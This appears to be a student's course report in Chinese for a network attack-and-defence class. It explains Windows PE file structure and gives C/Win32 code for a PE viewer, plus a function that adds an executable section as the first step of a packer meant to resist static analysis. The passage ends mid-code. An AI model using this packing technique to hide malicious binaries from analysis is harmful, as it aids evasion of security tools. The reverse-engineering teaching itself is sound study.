20174310隋润起网络对抗免考报告

20174310隋润起网络对抗免考报告

——PE结构及加壳的一种实现方式

重难点:

  1. 对c语言指针的使用
  2. 编程对exe类型文件的PE结构进行解析
  3. 编程实现PE信息的修改,为加壳做准备
  4. 对win32一些函数的使用
  5. 一种新的二进制壳的思路并通过C语言编程实现(可以抵挡静态分析)

 

一、PE解析(对一些重要的位置进行解释)

  • DOS头

0x00 WORD e_magic; //**必须是MZ(人名缩写)开始的地方,判断是不是PE文件

0x02 WORD e_cblp;

0x04 WORD e_cp;

0x06 WORD e_crlc;

0x08 WORD e_cparhdr;

0x0a WORD e_minalloc;

0x0c WORD e_maxalloc;

0x0e WORD e_ss;

0x10 WORD e_sp;

0x12 WORD e_csum;

0x14 WORD e_ip;

0x16 WORD e_cs;

0x18 WORD e_lfarlc;

0x1a WORD e_ovno;

0x1c WORD e_res[4];

0x24 WORD e_oemid;

0x26 WORD e_oeminfo;

0x28 WORD e_res2[10];

0x3c DWORD e_lfanew **指向真正PE文件开始的地方,从开始的地方的偏移量

 

  • 中间是垃圾数据(对于逆向分析来说是无用的数据,一些程序运行的备注信息,当我们进行新增节时,若头部信息不足,可以修改e_lfanew,把这块信息清除改为我们想要插入的数据)

 

  • NT头包含了  标准PE头 和 可选PE头(很重要***)

0x00 DWORD Signature;    此处数据转换成英文是PE

0x04 _IMAGE_FILE_HEADER FileHeader;跳到标准pe头

0x18 _IMAGE_OPTIONAL_HEADER OptionalHeader;

 

  • 标准PE头

0x00 WORD Machine;*  能在什么样的CPU上运行 0是任何CPU 14C是能在386以及后续处理器上运行

0x02 WORD NumberOfSections;* 一共有多少个节,分了多少节(除了头以外)

0x04 DWORD TimeDateStamp;*时间戳 检查map文件与exe的时间戳是否一样,不一样会出问题(map存储函数说明、地址)

0x08 DWORD PointerToSymbolTable;

0x0c DWORD NumberOfSymbols;

0x10 WORD SizeOfOptionalHeader;*可选PE头的大小(标准pe头和doc头是固定的)

0x12 WORD Characteristics;  每个位有不同的含义

24字节

 

  • 可选PE头

0x00 WORD Magic;* 32位pe文件是10B 64位pe文件是20B

0x02 BYTE MajorLinkerVersion;

0x03 BYTE MinorLinkerVersion;

0x04 DWORD SizeOfCode;* 代码节所有字节的和,每一节必须是FileAlignment的整数倍,编译器进行填充(没用,更改了仍能正常运行)发展到现在没用了

0x08 DWORD SizeOfInitializedData;* 已初始化数据的大小,性质和上面相同(设立初值)

0x0c DWORD SizeOfUninitializedData;* 未初始化数据的大小,性质和上面相同(没有设立初值)

0x10 DWORD AddressOfEntryPoint;* 程序入口,在文件中,在内存中要加上imagebase:为了空出保护区和模块对齐

0x14 DWORD BaseOfCode;* 代码基址,编译器填充,没用 正常情况下程序入口在代码中,但可以更改

0x18 DWORD BaseOfData;* 数据基址,编译器填充,没用(改了不会影响运行)

0x1c DWORD ImageBase;*  最重要,在内存中运行的实际基址   一个exe是由一堆pe文件组成(会用到多个dll)

0x20 DWORD SectionAlignment;* 中间0的大小在内存中

0x24 DWORD FileAlignment;*       中间0的大小在文件中(未运行)根据编译器版本两者可能相同可能不同

0x28 WORD MajorOperatingSystemVersion;

0x2a WORD MinorOperatingSystemVersion;

0x2c WORD MajorImageVersion;

0x2e WORD MinorImageVersion;

0x30 WORD MajorSubsystemVersion;

0x32 WORD MinorSubsystemVersion;

0x34 DWORD Win32VersionValue;

0x38 DWORD SizeOfImage;* 在内存中拉伸后的大小,可以比实际大,但必须是SectionAlignment的整数倍,对齐便于遍历

0x3c DWORD SizeOfHeaders;头+节表在文件中对齐后的大小,必须是FileAlignment的整数倍,对齐

0x40 DWORD CheckSum;* 校验和WORD,两两相加后存入,自然溢出,验证是否出错

0x44 WORD Subsystem;

0x46 WORD DllCharacteristics;

0x48 DWORD SizeOfStackReserve;* 初始化时保留栈的大小(最大值)

0x4c DWORD SizeOfStackCommit;*实际提交的大小

0x50 DWORD SizeOfHeapReserve;* 初始化时保留堆的大小

0x54 DWORD SizeOfHeapCommit;* 实际提交的大小

0x58 DWORD LoaderFlags;

0x5c DWORD NumberOfRvaAndSizes;* 目录项数目(后面还有多少目录项)记录编译器向EXE加的数据的信息

 

      实现的PE工具中列出的DOS头、PE头、可选PE头中的重要的信息

  • 节表(每个节一个节表,依次排列,在NumberOfSections记录了节表的数量)

0x00 BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//可能不存在‘/0’所以要用char[9]取出,可以更改,起个名字

union {

0x08 DWORD PhysicalAddress;

0x08 DWORD VirtualSize;//节表指向该节字节对齐之前,内存中数据的大小,可以不准确,不影响程序的运行

} Misc;

0x0c DWORD VirtualAddress;//指向的节区在内存中的偏移地址,加上imagebase

0x10 DWORD SizeOfRawData;//指向的节在文件对其之后的尺寸

0x14 DWORD PointerToRawData;//指向的节区在文件中的偏移,从零开始

0x18 DWORD PointerToRelocations;//无意义

0x1c DWORD PointerToLinenumbers;//无意义

0x20 WORD NumberOfRelocations;//无意义

0x22 WORD NumberOfLinenumbers;//无意义

0x24 DWORD Characteristics;//当前节的属性

属性对照表:(用了其中的一些位,并非全部,表示一些属性)

00000020h:包含可执行代码

00000040h:包含初始化的数据

00000080h:包含未初始化的数据

10000000h:该节为共享节

20000000h:可执行节

40000000h:可读节

80000000h:可写节

 

       实现的PE工具中列出每一个节表重要的信息

 

  • PE加载的过程:(每个exe程序运行在操作系统分配的4GB虚拟内存中)

1、根据SizeOfImage的大小,开辟一块缓冲区(ImageBuffer).                                                         

2、根据SizeOfHeader的大小,将头信息从FileBuffer拷贝到ImageBuffer                                  

3、根据节表中的信息循环讲FileBuffer中的节拷贝到ImageBuffer中.

示意图:(在附件PE加载示意图中可见)

 

如何新建一个节(加壳所需):

1、SizeOfHeader - (DOS + 垃圾数据 + PE标记 + 标准PE头 + 可选PE头 + 已存在节表)>= 2个节表的大小

2、需要修改的数据

1) 添加一个新的节(可以copy一份)

2) 在新增节后面 填充一个节大小的一串0(PE结构判断节表信息结束是判断当最后有一个节表长度大小的0表示节表信息到此结束)

3) 修改PE头中节的数量NumberOfSections

4) 修改sizeOfImage的大小

5) 再原有数据的最后,新增一个节的数据(内存对齐的整数倍).

6)修正新增节表的属性

函数代码(加壳程序中的添加新节函数):

char* add_section_2(char* start_image){
	char* start_new_image;
	if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){
		//printf("space is not statific");
	}
	else{
		//printf("space is statific");
		start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
		memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000);
		memcpy(start_new_image,start_image,headers_file.SizeOfImage);
		*(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1;
		*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000;
		memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40);
		*(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = 'a';
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000;
		printf("%x",(flen/0x1000+1)*0x1000);
		int a;
		if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){
			a = sections.VirtualAddress+sections.VirtualSize;
		}
		else{
			a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000;
		}
		//sections.VirtualSize = headers_file.SectionAlignment;
		if(sections.VirtualSize>sections.SizeOfRawData){
			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
		}
		else{
			*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) =  a;
		}
		//printf("%x\n",a);
		
		//sections.VirtualAddress =   sections.VirtualAddress+sections.VirtualSize;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) =  (flen/0x1000+1)*0x1000;
		//sections.SizeOfRawData = headers_file.FileAlignment;
		*(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData;
		if(sections.VirtualSize>sections.SizeOfRawData){
			sections.VirtualAddress = a;}
		else{
			sections.VirtualAddress = a;
		}
		sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData;
		sections.VirtualSize = (flen/0x1000+1)*0x1000;
		sections.SizeOfRawData = (flen/0x1000+1)*0x1000;
	}
	addcode(start_new_image);
	return start_new_image;
}
  • 数据目录:

1、我们所了解的PE分为头和节,在每个节中,都包含了我们写的一些代码和数据,但还有一些非常重要
的信息是编译器替我们加到PE文件中的,这些信息可能存在在任何可以利用的地方。


2、这些信息之所以重要,是因为这些信息包含了诸如:

PE程序的图标在哪里?

用到了哪些系统提供的函数?

为其他的程序提供哪些函数?

3、编译器添加了这么多信息,那程序是如何找到这些信息的呢?

答案就是:数据目录

4、数据目录定位:

可选PE头最后一个成员,就是数据目录.一共有16个:

typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; //内存偏移
DWORD Size; //大小
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16

分别是:导出表、导入表、资源表、异常信息表、安全证书表、重定位表、调试信息表、版权所以表、全局指针表
TLS表、加载配置表、绑定导入表、IAT表、延迟导入表、COM信息表 最后一个保留未使用。

和程序运行时息息相关的表有:

  • 导出表

1.数据目录项的第一个结构,就是导出表,其中的内存偏移 VirtualAddress指向导出表真正的位置

typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

VirtualAddress 导出表的RVA

Size 导出表大小

2.导出表结构:

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; // 未使用
DWORD TimeDateStamp; // 时间戳
WORD MajorVersion; // 未使用
WORD MinorVersion; // 未使用
DWORD Name; // 指向该导出表文件名字符串
DWORD Base; // 导出函数起始序号
DWORD NumberOfFunctions; // 所有导出函数的个数
DWORD NumberOfNames; // 以函数名字导出的函数个数
DWORD AddressOfFunctions; // 导出函数地址表RVA
DWORD AddressOfNames; // 导出函数名称表RVA
DWORD AddressOfNameOrdinals; // 导出函数序号表RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

 三个重要的结构:AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals

3、AddressOfFunctions说明:

该表中元素宽度为4个字节

该表中存储所有导出函数的地址

该表中个数由NumberOfFunctions决定

该表项中的值是RVA, 加上ImageBase才是函数真正的地址

4、AddressOfNames说明:

该表中元素宽度为4个字节

该表中存储所有以名字导出函数的名字的RVA

该表项中的值是RVA, 指向函数真正的名称

 

5、AddressOfNameOrdinals


该表中元素宽度为2个字节


该表中存储的内容 + Base = 函数的导出序号

 

  • 导入表

1.导入表结构:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA结构数组
};
DWORD TimeDateStamp; //时间戳
DWORD ForwarderChain;
DWORD Name; //RVA,指向dll名字,该名字已0结尾
DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA结构数组
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

 

2.示意图:

 

  • 重定位表

1.重定位表的定位:

数据目录项的第6个结构,就是重定位表.

typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

2.重定位表的结构:


typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;

  3.解析说明:

1、通过IMAGE_DATA_DIRECTORY结构的VirtualAddress
属性 找到第一个IMAGE_BASE_RELOCATION

2、判断一共有几块数据:

最后一个结构的VirtualAddress与SizeOfBlock都为0

3、具体项 宽度:2字节


位于SizeOfBlock之后的数据

内存中的页大小是1000H 也就是说2的12次方 就可以表示
一个页内所有的偏移地址 具体项的宽度是16字节 高四位
代表类型:值为3 代表的是需要修改的数据 值为0代表的是
用于数据对齐的数据,可以不用修改.也就是说 我们只关注
高4位的值为3的就可以了.

4、VirtualAddress 宽度:4字节

当前这一个块的数据,每一个低12位的值+VirtualAddress 才是
真正需要修复的数据的RVA

真正的RVA = VirtualAddress + 具体项的低12位

5、SizeOfBlock 宽度:4字节

当前块的总大小

具体项的数量 = (SizeOfBlock - 8)/2

二、运用C语言、win32函数及上述知识写一个PE解析的图形界面

  • 使用win32函数而不是QT或者MFC来构建图形界面,使我更加了解了底层的工作原理,有助于对图形界面的逆向分析

 vc中的主界面

 实际运行的主界面

 vc中的PE查看器界面

 选择程序进行PE查看(exe)

 实际运行的PE查看界面(这里选择的exe是程序本身)

 vc中的节表界面

实际运行的节表界面

 vc中的目录界面

 实际运行的目录界面

还有各种具体的目录信息界面,这里不做赘述。

 

源代码:(编写匆忙,备注信息可能不太准确)

// PE工具.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include "resource.h"
#include <stdlib.h>
#include <commctrl.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <commdlg.h>
#pragma commment(lib,"comctl32.lib")
HINSTANCE hInstanceicon;
OPENFILENAME stOpenFile;
int flen = 0;
char* p1;
char* p2;
int len1,len2;
HWND hwndDlg1;
typedef struct PE{
	int e_lfanew;
	short NumberOfSections;
	short SizeOfOptionalHeader;
	int EntryPoint;
	int ImageBase ;
	int SectionAlignment ;
	int SizeOfImage;
	int FileAlignment;
	int SizeOfHeaders;
	int BaseOfCode;
	int BaseOfData;
	int CheckSum;
	short Characteristics;
	int TimeDateStamp;
	int NumberOfRvaAndSizes;

}headers;
typedef struct standard{
	int address;
	int size;
}dir;

typedef struct dir_all{
	dir d1;
	dir d2;
	dir d3;
	dir d4;
	dir d5;
	dir d6;
	dir d7;
	dir d8;
	dir d9;
	dir d10;
	dir d11;
	dir d12;
	dir d13;
	dir d14;
	dir d15;
	dir d16;
}dir_num;
typedef struct sec{
	int PointerToRawData;
	int SizeOfRawData;
	int VirtualAddress;
	int VirtualSize;
	int Characteristics;
}section;
typedef struct export{
	int Time;
	TCHAR* Name;
	int Base;
	int NumberOfFunctions;
	int NumberOfNames;
	int AddressOfFunctions;
	int AddressOfNames;
	int AddressOfNameOrdinals;
	char* Name_fun;
	short ordinal;
	int RVA;
}ex;
ex export;
headers headers_file;
section sections;
dir_num DN;
char* get_file(){
	FILE* fp;
	char* p;
	fp = fopen(stOpenFile.lpstrFile,"rb");
	if(fp == NULL){
		printf("file error");
	}
	fseek(fp,0L,SEEK_END);
	flen = ftell(fp);
	fseek(fp,0L,SEEK_SET);
	p = (char*)malloc(flen);
	fread(p,flen,1,fp);
	fclose(fp);
	return p;
}
char get_char_data(char* start,int distance){
	char data = *(start+distance);
	return data;
}
short get_short_data(char* start,int distance){
	short data =*(short*) (start+distance);
	return data;
}
int get_int_data(char* start,int distance){
	int data =*(int*) (start+distance);
	return data;
}
void getInfo(){
	char* start = get_file();
	char* s = start;
	headers_file.e_lfanew = get_int_data(start,60);
	start = start+headers_file.e_lfanew;
	headers_file.NumberOfSections = get_short_data(start,6);
	headers_file.TimeDateStamp = get_int_data(start,8);
	headers_file.SizeOfOptionalHeader = get_short_data(start,20);
	headers_file.Characteristics = get_short_data(start,22);
	start = start+24;
	headers_file.EntryPoint = get_int_data(start,16);
	headers_file.BaseOfCode = get_int_data(start,20);
	headers_file.BaseOfData = get_int_data(start,24);
	headers_file.ImageBase = get_int_data(start,28);
	headers_file.SectionAlignment = get_int_data(start,32);
	headers_file.SizeOfImage = get_int_data(start,56);
	headers_file.FileAlignment = get_int_data(start,36);
	headers_file.SizeOfHeaders = get_int_data(start,60);
	headers_file.CheckSum = get_int_data(start,64);
	headers_file.NumberOfRvaAndSizes = get_int_data(start,92);
	free(s);
}
void getInfo_dir(){
	char* start = get_file();
	char* s = start;
	DN.d1.address = get_int_data(start,headers_file.e_lfanew+120);
	DN.d1.size = get_int_data(start,headers_file.e_lfanew+120+4);
	DN.d2.address = get_int_data(start,headers_file.e_lfanew+120+8);
	DN.d2.size = get_int_data(start,headers_file.e_lfanew+120+4+8);
	DN.d3.address = get_int_data(start,headers_file.e_lfanew+120+8*2);
	DN.d3.size = get_int_data(start,headers_file.e_lfanew+120+4+8*2);
	DN.d4.address = get_int_data(start,headers_file.e_lfanew+120+8*3);
	DN.d4.size = get_int_data(start,headers_file.e_lfanew+120+4+8*3);
	DN.d5.address = get_int_data(start,headers_file.e_lfanew+120+8*4);
	DN.d5.size = get_int_data(start,headers_file.e_lfanew+120+4+8*4);
	DN.d6.address = get_int_data(start,headers_file.e_lfanew+120+8*5);
	DN.d6.size = get_int_data(start,headers_file.e_lfanew+120+4+8*5);
	DN.d7.address = get_int_data(start,headers_file.e_lfanew+120+8*6);
	DN.d7.size = get_int_data(start,headers_file.e_lfanew+120+4+8*6);
	DN.d8.address = get_int_data(start,headers_file.e_lfanew+120+8*7);
	DN.d8.size = get_int_data(start,headers_file.e_lfanew+120+4+8*7);
	DN.d9.address = get_int_data(start,headers_file.e_lfanew+120+8*8);
	DN.d9.size = get_int_data(start,headers_file.e_lfanew+120+4+8*8);
	DN.d10.address = get_int_data(start,headers_file.e_lfanew+120+8*9);
	DN.d10.size = get_int_data(start,headers_file.e_lfanew+120+4+8*9);
	DN.d11.address = get_int_data(start,headers_file.e_lfanew+120+8*10);
	DN.d11.size = get_int_data(start,headers_file.e_lfanew+120+4+8*10);
	DN.d12.address = get_int_data(start,headers_file.e_lfanew+120+8*11);
	DN.d12.size = get_int_data(start,headers_file.e_lfanew+120+4+8*11);
	DN.d13.address = get_int_data(start,headers_file.e_lfanew+120+8*12);
	DN.d13.size = get_int_data(start,headers_file.e_lfanew+120+4+8*12);
	DN.d14.address = get_int_data(start,headers_file.e_lfanew+120+8*13);
	DN.d14.size = get_int_data(start,headers_file.e_lfanew+120+4+8*13);
	DN.d15.address = get_int_data(start,headers_file.e_lfanew+120+8*14);
	DN.d15.size = get_int_data(start,headers_file.e_lfanew+120+4+8*14);
	DN.d16.address = get_int_data(start,headers_file.e_lfanew+120+8*15);
	DN.d16.size = get_int_data(start,headers_file.e_lfanew+120+4+8*15);
	free(s);
}
int Rva_to_Foa(int virtualAddress,char* start){
		if(virtualAddress<headers_file.SizeOfHeaders){
		return virtualAddress;
	}
	int fileAddress;
	int i;
	char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
	for(i=0;i<headers_file.NumberOfSections;i++){
		sections.PointerToRawData = get_int_data(start_section,20);
		sections.SizeOfRawData = get_int_data(start_section,16);
		sections.VirtualAddress = get_int_data(start_section,12);
		sections.VirtualSize = get_int_data(start_section,8);
		int max;
		max = sections.VirtualSize>sections.SizeOfRawData?sections.VirtualSize:sections.SizeOfRawData;
		if(virtualAddress<sections.VirtualAddress+max){
			//printf("%d",i);
			fileAddress = virtualAddress-sections.VirtualAddress+sections.PointerToRawData;
			/*printf("%x\n",sections.VirtualAddress);
			printf("%x\n",sections.PointerToRawData);
			printf("%x",fileAddress);*/
			break;
		}
		start_section = start_section+40;
	}
	return fileAddress;
}
void get_export_Info(){
	char* start = get_file();
	int virtualAddress = get_int_data(start,headers_file.e_lfanew+120);
	int fileAddress = Rva_to_Foa(virtualAddress,start);
	char* export_start;
	//printf("%x",fileAddress);
	export_start = start+fileAddress;
	int Name_Address = get_int_data(export_start,12);
	export.Name = start+Name_Address;
	export.Base = get_int_data(export_start,16);
	export.Time = get_int_data(export_start,4);
	export.NumberOfFunctions = get_int_data(export_start,20);
	export.NumberOfNames = get_int_data(export_start,24);
	export.AddressOfFunctions = get_int_data(export_start,28);
	export.AddressOfNames = get_int_data(export_start,32);
	export.AddressOfNameOrdinals = get_int_data(export_start,36);
	
}
VOID EnumModules(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
{
	DWORD dwRowId;
	TCHAR szPid[0x20];
	LV_ITEM vitem;	
	memset(szPid,0,0x20);
	memset(&vitem,0,sizeof(LV_ITEM));

	dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
	if(dwRowId == -1)
	{
		MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
	}
	vitem.iSubItem = 1;
	vitem.pszText = szPid;
	vitem.cchTextMax = 0x20;
	SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
	HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,atoi(szPid));

    MODULEENTRY32 te={sizeof(te)};
    BOOL bRet=Module32First(hShot,&te);
	int i=0;
	if(bRet)
	{
		while(bRet)
		{	
			
			vitem.pszText = te.szModule;				
			vitem.iItem = i;				
			vitem.iSubItem = 0;							
			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);

			vitem.pszText = te.szExePath;				
			vitem.iItem = i;				
			vitem.iSubItem = 1;							
			ListView_SetItem(hListProcess_down, &vitem);	

			bRet=Module32Next(hShot,&te);
			i++;
		}
		CloseHandle(hShot);
	}
	else{
		MessageBox(0,"不存在模块",0,MB_OK);
		while(i<200){
			vitem.pszText = "";				
			vitem.iItem = i;				
			vitem.iSubItem = 0;							
			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
			i++;
		}

	}

}

VOID EnumModules_import(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
{
	DWORD dwRowId;
	TCHAR szPid[0x20];
	LV_ITEM vitem;	
	memset(szPid,0,0x20);
	memset(&vitem,0,sizeof(LV_ITEM));
	int j=0;
	while(j<200){
			vitem.pszText = "";				
			vitem.iItem = j;				
			vitem.iSubItem = 0;							
			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
			j++;
		}
	dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
	if(dwRowId == -1)
	{
		MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
	}
	vitem.iSubItem = 1;
	vitem.pszText = szPid;
	vitem.cchTextMax = 0x20;
	SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
	char* start = get_file();
	DWORD temp;
	sscanf(szPid,"%x", &temp);
	int file_first_thunk = Rva_to_Foa(temp,start);
	char* INT = start+file_first_thunk;
	int i = 0;
	TCHAR info[0x20];
	while(1){
			int num = get_int_data(INT,0);
			if(num==0){break;}
				num = num&0x7fffffff;
				num = Rva_to_Foa(num,start);
				short hint=get_short_data(start+num,0);

				vitem.pszText = start+num+2;				
				vitem.iItem = i;				
				vitem.iSubItem = 0;							
				SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);

				sprintf(info,"%04x",hint);
				vitem.pszText = info;				
				vitem.iItem = i;				
				vitem.iSubItem = 3;							
				ListView_SetItem(hListProcess_down, &vitem);
				

				sprintf(info,"%08x",temp);
				vitem.pszText = info;				
				vitem.iItem = i;				
				vitem.iSubItem = 1;							
				ListView_SetItem(hListProcess_down, &vitem);

				sprintf(info,"%08x",file_first_thunk);
				vitem.pszText = info;				
				vitem.iItem = i;				
				vitem.iSubItem = 2;							
				ListView_SetItem(hListProcess_down, &vitem);
				temp = temp+4;
				file_first_thunk = file_first_thunk+4;
				INT = INT+4;
				i++;
	}
	free(start);
}

VOID EnumModules_re(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down)
{
	DWORD dwRowId;
	TCHAR szPid[0x20];
	LV_ITEM vitem;	
	memset(szPid,0,0x20);
	memset(&vitem,0,sizeof(LV_ITEM));
	int j=0;
	while(j<500){
			vitem.pszText = "";				
			vitem.iItem = j;				
			vitem.iSubItem = 0;							
			SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);
			j++;
		}
	dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
	if(dwRowId == -1)
	{
		MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK);
	}
	vitem.iSubItem = 0;
	vitem.pszText = szPid;
	vitem.cchTextMax = 0x20;
	SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem);
	TCHAR info[0x20];
	char* start = get_file();
	int time;
	sscanf(szPid,"%d",&time);
	int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5);
	int fileAddress = Rva_to_Foa(virtualAddress,start);
	char* relocation_start;
	relocation_start = start+fileAddress;
		int i,m=0,RVA,Size_of_Block;
		short data,offset,type;
		while(1){
			RVA = get_int_data(relocation_start,0);
			Size_of_Block = get_int_data(relocation_start,4);
			int num = (Size_of_Block-8)/2;
			if(m == time-1){
				for(i=0;i<num;i++){
					data = get_short_data(relocation_start,8+2*i);
					offset = data&0x0fff;
					type = (data>>12)&0xf;
					int RVA_output = RVA+offset;
					int FOA = Rva_to_Foa(RVA_output,start);
						sprintf(info,"%d",i+1);
						vitem.pszText = info;				
						vitem.iItem = i;				
						vitem.iSubItem = 0;							
						SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem);


						sprintf(info,"%08x",RVA_output);
						vitem.pszText = info;				
						vitem.iItem = i;				
						vitem.iSubItem = 1;							
						ListView_SetItem(hListProcess_down, &vitem);

						sprintf(info,"%08x",FOA);
						vitem.pszText = info;				
						vitem.iItem = i;				
						vitem.iSubItem = 2;							
						ListView_SetItem(hListProcess_down, &vitem);

						sprintf(info,"%d",type);
						vitem.pszText = info;				
						vitem.iItem = i;				
						vitem.iSubItem = 3;							
						ListView_SetItem(hListProcess_down, &vitem);
						
				}
				break;
			}
			m++;
			relocation_start = relocation_start + Size_of_Block;
			}		
	free(start);
}
VOID EnumProcess(HWND hListProcess)
{
	LV_ITEM vitem;				
				
	//初始化				
	memset(&vitem,0,sizeof(LV_ITEM));				
	vitem.mask = LVIF_TEXT;	
	
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(pe32);
	//获得系统进程快照的句柄
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		MessageBox(0,0,0,0);
		return;
	}
	//首先获得第一个进程
	BOOL bProcess = Process32First(hProcessSnap, &pe32);
	int i = 0;
	//循环获得所有进程
	while (bProcess)
	{
		vitem.pszText = pe32.szExeFile;				
		vitem.iItem = i;				
		vitem.iSubItem = 0;							
		SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);
		
		char temp[20];
		itoa(pe32.th32ProcessID,temp,10);
		vitem.pszText = temp;				
		vitem.iItem = i;//第一行				
		vitem.iSubItem = 1;	//第二列		
		ListView_SetItem(hListProcess, &vitem);	


		
		HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe32.th32ProcessID);
		int err=GetLastError();
		MODULEENTRY32 te={sizeof(te)};
		BOOL bRet=Module32First(hShot,&te);
		int pProcessImageBase = (DWORD)te.modBaseAddr;
		TCHAR szImageBase[0x20];    //进程基址
        memset(szImageBase, 0, 0x20);
        TCHAR szImageSize[0x20];    //进程大小
        memset(szImageSize, 0, 0x20);
		if(bRet){
		sprintf(szImageBase,"%08x",pProcessImageBase);
		vitem.pszText = szImageBase;				
		vitem.iItem = i;				
		vitem.iSubItem = 2;				
		ListView_SetItem(hListProcess, &vitem);
				
		sprintf(szImageBase,"%08x",te.modBaseSize);
		vitem.pszText = szImageBase;				
		vitem.iItem = i;				
		vitem.iSubItem = 3;				
		ListView_SetItem(hListProcess, &vitem);	
		}
				
		CloseHandle(hShot);
		i++;
		bProcess = Process32Next(hProcessSnap, &pe32);
	}
	CloseHandle(hProcessSnap);


					
	/*			
								
								
					
	vitem.pszText = TEXT("000F0000");				
	vitem.iItem = 0;				
	vitem.iSubItem = 3;				
	ListView_SetItem(hListProcess, &vitem);				
					
	vitem.pszText = TEXT("winlogon.exe");				
	vitem.iItem = 1;				
	vitem.iSubItem = 0;				
	//ListView_InsertItem(hListProcess, &vitem);				
	SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem);				
					
	vitem.pszText = TEXT("456");				
	vitem.iSubItem = 1;				
	ListView_SetItem(hListProcess, &vitem);				
					
	vitem.pszText = TEXT("10000000");				
	vitem.iSubItem = 2;				
	ListView_SetItem(hListProcess, &vitem);				
					
	vitem.pszText = TEXT("000045800");				
	vitem.iSubItem = 3;				
	ListView_SetItem(hListProcess, &vitem);		*/	

}
VOID InitProcessListView(HWND hDlg)
{
	LV_COLUMN lv;							
	HWND hListProcess;							
								
	//初始化							
	memset(&lv,0,sizeof(LV_COLUMN));							
	//获取IDC_LIST_PROCESS句柄							
	hListProcess = GetDlgItem(hDlg,IDC_PROCESS1);							
